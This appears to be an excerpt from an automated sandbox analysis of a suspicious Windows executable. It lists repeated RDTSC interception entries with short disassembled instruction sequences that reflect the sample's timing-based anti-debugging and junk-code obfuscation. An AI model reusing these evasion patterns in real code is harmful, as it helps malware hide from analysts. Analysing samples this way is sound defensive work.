Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCC392 second address: CCC3C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F82B53DDA12h 0x0000000b jbe 00007F82B53DDA06h 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F82B53DDA11h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCC683 second address: CCC68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F82B4B869C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCC68D second address: CCC691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCC691 second address: CCC697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCC697 second address: CCC69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCEB21 second address: CCEB29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCEB29 second address: CCEB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCEB2D second address: CCEB37 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F82B4B869C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CCEC9A second address: CCEC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD1A82 second address: CD1A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD167A second address: CD1689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F82B53DDA06h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4DB5 second address: CD4DE9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F82B4B869C6h 0x00000008 jmp 00007F82B4B869D1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007F82B4B869D2h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4DE9 second address: CD4DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4DEF second address: CD4E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F82B4B869D4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4E1D second address: CD4E31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F82B53DDA0Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4F94 second address: CD4F9F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4F9F second address: CD4FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4FA3 second address: CD4FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4FA7 second address: CD4FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4FAD second address: CD4FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F82B4B869CAh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD4FC1 second address: CD4FC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD526C second address: CD5285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD5285 second address: CD5289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD5289 second address: CD52B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F82B4B869D1h 0x0000000d jmp 00007F82B4B869D7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD84C0 second address: CD84C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD84C6 second address: CD84D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F82B4B869C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD84D4 second address: CD84E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD84E3 second address: CD84FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F82B4B869C8h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD8673 second address: CD8679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD8B83 second address: CD8B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F82B4B869C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CD8B8F second address: CD8BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F82B53DDA0Bh 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F82B53DDA06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDF0C4 second address: CDF0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDF0D2 second address: CDF0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDF0DB second address: CDF0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDF0DF second address: CDF0E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C3EF25 second address: C3EF2D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C3EF2D second address: C3EF53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA10h 0x00000007 jl 00007F82B53DDA0Ch 0x0000000d jnl 00007F82B53DDA06h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C3EF53 second address: C3EF58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDDD88 second address: CDDD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDDF34 second address: CDDF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F82B4B869D4h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDDF51 second address: CDDF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C8F2B0 second address: C8F2B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE1D9 second address: CDE1E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F82B53DDA06h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE1E9 second address: CDE1F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE1F5 second address: CDE1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE1FF second address: CDE204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE204 second address: CDE214 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jp 00007F82B53DDA06h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE214 second address: CDE21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F82B4B869C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE37C second address: CDE381 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDE381 second address: CDE39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F82B4B869D4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CDEE12 second address: CDEE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F82B53DDA06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4FD5E second address: C4FD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4FD64 second address: C4FD6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F82B53DDA06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4FD6F second address: C4FD9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F82B4B869D7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4FD9D second address: C4FDA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE508F second address: CE50B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F82B4B869D2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE53A5 second address: CE53AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE53AC second address: CE53B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE5B5A second address: CE5B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE60AA second address: CE60B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE60B1 second address: CE60CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F82B53DDA14h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE6376 second address: CE637A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE637A second address: CE6387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE6387 second address: CE638D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE638D second address: CE63B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B53DDA0Fh 0x00000007 jmp 00007F82B53DDA0Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE63B3 second address: CE63BD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F82B4B869C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE63BD second address: CE63E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F82B53DDA12h 0x0000000e js 00007F82B53DDA06h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE9868 second address: CE98A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jno 00007F82B4B869C6h 0x0000000c jmp 00007F82B4B869D6h 0x00000011 jmp 00007F82B4B869D7h 0x00000016 popad 0x00000017 popad 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE98A8 second address: CE98AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE98AC second address: CE98B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE9B4C second address: CE9B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE9FD2 second address: CE9FDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CE9FDB second address: CE9FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CEE5EC second address: CEE61A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F82B4B869D1h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CEE61A second address: CEE624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CEE624 second address: CEE628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CEFBE2 second address: CEFC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F82B53DDA0Eh 0x00000009 push eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F82B53DDA13h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: C4C814 second address: C4C818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF60F9 second address: CF6103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F82B53DDA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF6103 second address: CF6124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D6h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF6124 second address: CF6142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F82B53DDA0Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F82B53DDA06h 0x00000013 jnl 00007F82B53DDA06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF62BD second address: CF62D1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F82B4B869C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F82B4B869C6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF62D1 second address: CF62EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F82B53DDA0Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F82B53DDA06h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF62EB second address: CF62EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF62EF second address: CF62F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF6474 second address: CF647A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF65FB second address: CF6614 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F82B53DDA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F82B53DDA0Ah 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF6614 second address: CF6620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F82B4B869C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF72A7 second address: CF72AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF72AC second address: CF72BE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F82B4B869CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF72BE second address: CF72C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF79FD second address: CF7A15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F82B4B869D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF9F9A second address: CF9FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Prs9eAnu2k.exeRDTSC instruction interceptor: First address: CF9FA7 second address: CF9FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
